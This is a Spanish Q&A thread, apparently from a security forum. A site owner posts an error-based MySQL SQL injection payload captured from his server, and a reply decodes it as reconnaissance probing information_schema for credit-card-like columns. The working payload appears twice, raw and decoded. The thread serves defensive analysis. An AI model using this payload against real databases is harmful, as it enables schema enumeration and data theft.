¿Cuál es la naturaleza de este ataque de inyección SQL?

2

En ciertas circunstancias, permití la inyección de SQL en mi servidor. Sin embargo, no puedo ver qué logra el ataque y cómo reparar lo que sea que se haya hecho.

Este es el SQL en cuestión:

'and(select 1  from( select count(*), 
concat(( select( select( 
select  concat(0x217e21,d. schema_name,0x217e21)  
from information_schema. schemata as d 
join information_schema. tables as t on t. table_schema = d. schema_name 
join information_schema. columns as c on c. table_schema = d. schema_name 
and c. table_name = t. table_name  
where not c. table_schema in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) 
and c. column_name like 0x25636325 
and not t. table_name in(0x616363657373,0x70687062625f7573657273)  
group by t. table_name  limit 2,1))  
from information_schema. tables  limit 0,1),floor(rand(0)*2))x  
from information_schema. tables  group by x)a) 
and '1'='1

(Nuevas líneas agregadas para facilitar la lectura)

En efecto, esto se insertó en este tipo de escenario:

SELECT * FROM students WHERE name = '$name';

$name contiene lo anterior (al menos debería haber detectado las comillas). Ya había detectado y eliminado cualquier punto y coma en el nombre.

Mis preguntas:

  • ¿Qué hace esto exactamente?
  • ¿Cómo puedo deshacer esto, si es necesario hacerlo?

He modificado este script en particular para utilizar consultas parametrizadas, pero me pregunto qué otra cosa debe verificarse. (En otras palabras, ¿qué daño se hizo?)

    
pregunta Nick Gammon 09.11.2016 - 09:37
fuente

1 respuesta

3

No soy un gurú de MySQL, pero este ataque de SQLi parece simplemente recopilar información sobre sus esquemas. Intenté mejorar el formato y convertí el código ASCII codificado en hexadecimal como 0x217e21 a su texto equivalente. No entiendo todo este SQL pero no hay actualizaciones, no se eliminan, no hay inserciones, no hay procedimientos almacenados o llamadas por lotes. Así que no puedo ver de ninguna manera esto modificaría su servidor o su base de datos.

Si el atacante insertó un nombre conocido en esta consulta, podrían establecer si la parte central de la consulta se evaluó como verdadera (obtendrían el registro del alumno) o falsa (no se devolvió el registro del alumno).

Parece que el atacante está tratando de determinar si alguno de los nombres de sus columnas contiene el patrón '% cc%', supongo que intentan ver si almacena la base de datos de tarjetas de crédito en su base de datos. Luego, podrían modificar este script para averiguar en qué tabla se almacena esta información y luego modificarla una vez más para seleccionarla de esta tabla. Herramientas como SQLMap permiten que esto se haga de forma rápida y sin complicaciones.

SELECT * FROM students WHERE name = '' and
(select 1  from( 
 select count(*), 
 concat(( 
    select( 
      select( 
        select  concat('!~!',d.schema_name,'!~!')  
        from information_schema.schemata as d 
        join information_schema.tables as t on 
            t.table_schema = d.schema_name 
        join information_schema. columns as c on 
            c.table_schema = d.schema_name and 
            c.table_name = t.table_name  
        where not c. table_schema in('information_schema','mysql') and
        c. column_name like '%cc%' and
        not t. table_name in('access', 'phpbb_users')  
        group by t. table_name  limit 2,1
      )
    )  
    from information_schema. tables  limit 0,1),
    floor(rand(0)*2))x  
from information_schema.tables  group by x
)a) 
and '1'='1'
    
respondido por el David Waters 09.11.2016 - 10:50
fuente

Lea otras preguntas en las etiquetas